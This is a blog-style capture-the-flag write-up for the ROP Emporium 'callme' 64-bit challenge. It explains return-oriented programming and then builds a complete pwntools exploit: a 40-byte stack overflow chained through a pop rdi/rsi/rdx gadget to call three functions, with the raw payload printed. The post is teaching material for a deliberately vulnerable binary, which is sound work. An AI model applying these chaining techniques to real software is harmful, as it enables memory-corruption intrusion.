If you are reading this, then this is the third post on writing ROP chain exploits, so far we have covered the basics…Day 1: ROP Emporium ret2win (64bit)
I completed the 32bit ROP Emporium challenges when they first came but never got round to the 64bit ones, I also don’t…medium.com
Day 3: ROP Emporium split (64bit)
I’ll let you in on a secret; that useful string “/bin/cat flag.txt” is still present in this binary, as is a call to…medium.com

Why do we need ROP Chains?

With data execution prevention, an adversary cannot execute maliciously injected instructions because a typical buffer overflow overwrites contents in the data section of memory, which is marked as non-executable. To defeat this, a return-oriented programming attack does not inject malicious code, but rather uses instructions that are already present, called “gadgets”, by manipulating return addresses. A typical data execution prevention cannot defend against this attack because the adversary did not use malicious code but rather combined “good” instructions by changing return addresses; therefore the code used would not be marked non-executable.

The Call Me Challenge

You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.het

First, let’s get the addresses of the functions we need to call, we do this manually with r2’s ‘afl’ command, or we use pwntools to get it automatically ‘elf.symbols.callme_one’ etc.

# 0x00401810    1 6            sym.imp.callme_three
# 0x00401850 1 6 sym.imp.callme_one
# 0x00401870 1 6 sym.imp.callme_two

About Gadgets

POP POP RET is a sequence of instructions needed in order to create SEH (Structured Exception Handler) exploits. The registers to which the popped values go are not important for the exploits to succeed, only the fact that ESP is moved towards higher addresses twice and then a RET is executed. Thus, either POP EAX, POP EBX, RET, or POP ECX, POP ECX, RET or POP EDX, POP EAX, RET (and so on) will do.

Understanding pop and push

push 0xdeadbeef      ; push a value to the stackpop eax              ; eax is now 0xdeadbeef

Let’s use ROPgadget to search for the kinds of gadgets we want…

ROPgadget --binary callme --only "mov|pop|ret"

We will use 0x0000000000401ab0 / pop rdi ; pop rsi ; pop rdx ; ret.

Ok, now we need to prepare our integers, best way to do this is with pwntools to get exactly what we need, p64 will give you back 64bit value of int supplied.

Now we have every thing we need, just need to set it all up in the right way…

First we set the gadget:

gadget = p64(0x0000000000401ab0)

Then we set up the addresses of functions and integers 1,2 and 3.

callme_one = p64(0x00401850)
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)
one_int = p64(1)
two_int = p64(2)
three_int = p64(3)

To reduce the amount of code, we put together assembled_function as it will be the same for all..

assembled_function = gadget
assembled_function += one_int
assembled_function += two_int
assembled_function += three_int

No we are ready to assemble the rop chain…

# RIP offset is at 40
exploit = "A" * 40
# Call call_me_one(1,2,3)
exploit += assembled_function
exploit += callme_one
# Call call_me_two(1,2,3)
exploit += assembled_function
exploit += callme_two
# Call call_me_three(1,2,3)
exploit += assembled_function
exploit += callme_three

Final Exploit Payload…

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x1a@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00P\x18@\x00\x00\x00\x00\x00\xb0\x1a@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00p\x18@\x00\x00\x00\x00\x00\xb0\x1a@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x10\x18@\x00\x00\x00\x00\x00

That should have made the final exploit layout much easier to understand. From here things are going to get tougher so go over the last few posts, try the challenges yourself and if you have any questions comment below! Happy ROPing!

In future posts we will explore the final 64bit challenges on ROP Emporium, other forms of return oriented exploits and more advanced ROP chain examples.

Final Exploit

from pwn import *
# 0x00401810    1 6            sym.imp.callme_three
# 0x00401850 1 6 sym.imp.callme_one
# 0x00401870 1 6 sym.imp.callme_two
# Set up pwntools to work with this binary
elf = process('callme')
# pop rdi ; pop rsi ; pop rdx ; ret
gadget = p64(0x0000000000401ab0)
callme_one = p64(0x00401850)
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)
one_int = p64(1)
two_int = p64(2)
three_int = p64(3)
assembled_function = gadget
assembled_function += one_int
assembled_function += two_int
assembled_function += three_int
# RIP offset is at 40
exploit = "A" * 40
# Call call_me_one(1,2,3)
exploit += assembled_function
exploit += callme_one
# Call call_me_two(1,2,3)
exploit += assembled_function
exploit += callme_two
# Call call_me_three(1,2,3)
exploit += assembled_function
exploit += callme_three
print exploit
# Send the payload
# io = elf.process()
elf.sendline(exploit)
# Print output
print elf.recvall()

callme 64
Recorded by int0x33asciinema.org